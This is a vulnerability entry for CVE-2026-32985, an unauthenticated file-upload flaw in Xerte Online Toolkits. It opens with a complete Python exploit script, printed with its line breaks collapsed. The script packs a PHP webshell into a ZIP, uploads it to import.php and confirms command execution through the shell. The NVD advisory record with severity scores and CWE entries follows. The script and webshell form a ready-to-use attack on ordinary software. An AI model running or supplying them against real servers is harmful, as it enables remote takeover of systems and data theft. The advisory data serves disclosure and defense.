CVE-2026-32985

import requests import zipfile import os def create_malicious_zip(): """Create a ZIP archive containing a PHP webshell""" zip_path = "exploit.zip" php_payload = "<?php system($_GET['cmd']); ?>" with zipfile.ZipFile(zip_path, 'w') as zf: # The file is placed in 'media/' to match the extraction path zf.writestr("media/shell.php", php_payload) return zip_path def exploit(target_url): """Execute the exploit against the target""" zip_file = create_malicious_zip() # The vulnerable endpoint is typically import.php upload_url = f"{target_url}/import.php" try: with open(zip_file, 'rb') as f: files = {'file': ('exploit.zip', f, 'application/zip')} # Send the malicious payload response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] Upload successful. Checking for shell...") shell_url = f"{target_url}/media/shell.php" test_cmd = f"{shell_url}?cmd=whoami" # Verify command execution verify = requests.get(test_cmd, timeout=5) if verify.status_code == 200: print(f"[+] Exploit successful! Shell accessible at: {shell_url}") print(f"[+] Command output: {verify.text}") else: print("[-] Shell uploaded but not accessible.") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") finally: if os.path.exists(zip_file): os.remove(zip_file) if __name__ == "__main__": target = "http://127.0.0.1/xerte" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-32985", "sourceIdentifier": "[email protected]", "published": "2026-03-20T00:16:18.260", "lastModified": "2026-04-16T13:42:46.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xerte Online Toolkits versions 3.14 and earlier contain an unauthenticated arbitrary file upload vulnerability in the template import functionality that allows remote attackers to execute arbitrary code by uploading a crafted ZIP archive containing malicious PHP payloads. Attackers can bypass authentication checks in the import.php file to upload a template archive with PHP code in the media directory, which gets extracted to a web-accessible path where the malicious PHP can be directly accessed and executed under the web server context."}, {"lang": "es", "value": "Las versiones 3.14 y anteriores de Xerte Online Toolkits contienen una vulnerabilidad de carga arbitraria de archivos no autenticada en la funcionalidad de importación de plantillas. El problema existe en /website_code/php/import/import.php donde la falta de comprobaciones de autenticación permiten a un atacante cargar un archivo ZIP manipulado disfrazado como una plantilla de proyecto. El archivo puede contener una carga útil PHP maliciosa colocada en el directorio media/, que se extrae en una ruta USER-FILES/{projectID}--{targetFolder}/ accesible desde la web. Un atacante puede entonces acceder directamente al archivo PHP cargado para lograr la ejecución remota de código bajo el contexto del servidor web."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apereo:xerte_online_toolkits:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.14.0", "matchCriteriaId": "282E5209-E41C-4DC9-A993-ECFC34C024ED"}]}]}], "references": [{"url": "https://packetstorm.news/files/id/216288/", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://xot.xerte.org.uk/", "source": "[email protected]", "tags": ["Product"]}]}}